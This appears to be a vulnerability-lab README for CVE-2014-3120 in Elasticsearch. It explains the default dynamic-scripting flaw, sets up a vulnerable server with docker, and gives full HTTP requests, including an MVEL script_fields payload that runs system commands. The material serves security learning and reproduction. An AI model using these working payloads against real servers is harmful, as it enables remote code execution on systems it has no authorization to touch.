# ElasticSearch Remote Code Execution (CVE-2014-3120)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
ElasticSearch is a distributed, RESTful search and analytics engine.
|
|
|
|
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to `_search`.
|
|
|
|
Here's an example of MVEL code that executes system commands:
|
|
|
|
```java
|
|
import java.io.*;
|
|
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
|
|
```
|
|
|
|

|
|
|
## Vulnerability Reproduction
|
|
|
|
Execute the following commands to start a vulnerable ElasticSearch server 1.1.1:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After the server starts, you can access the ElasticSearch API at `http://your-ip:9200`.
|
|
|
|
## Exploitation
|
|
|
|
The exploit requires at least one document in the index. First, create a document:
|
|
|
|
```
|
|
POST /website/blog/ HTTP/1.1
|
|
Host: your-ip:9200
|
|
Accept: */*
|
|
Accept-Language: en
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 25
|
|
|
|
{
|
|
"name": "vulhub"
|
|
}
|
|
```
|
|
|
|
Then, send a request containing the malicious MVEL script to execute arbitrary commands:
|
|
|
|
```
|
|
POST /_search?pretty HTTP/1.1
|
|
Host: your-ip:9200
|
|
Accept: */*
|
|
Accept-Language: en
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|

Content-Length: 343

{
|
|
"size": 1,
|
|
"query": {
|
|
"filtered": {
|
|
"query": {
|
|
"match_all": {
|
|
}
|
|
}
|
|
}
|
|
},
|
|
"script_fields": {
|
|
"command": {
|
|
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
The command execution result will be returned in the response:
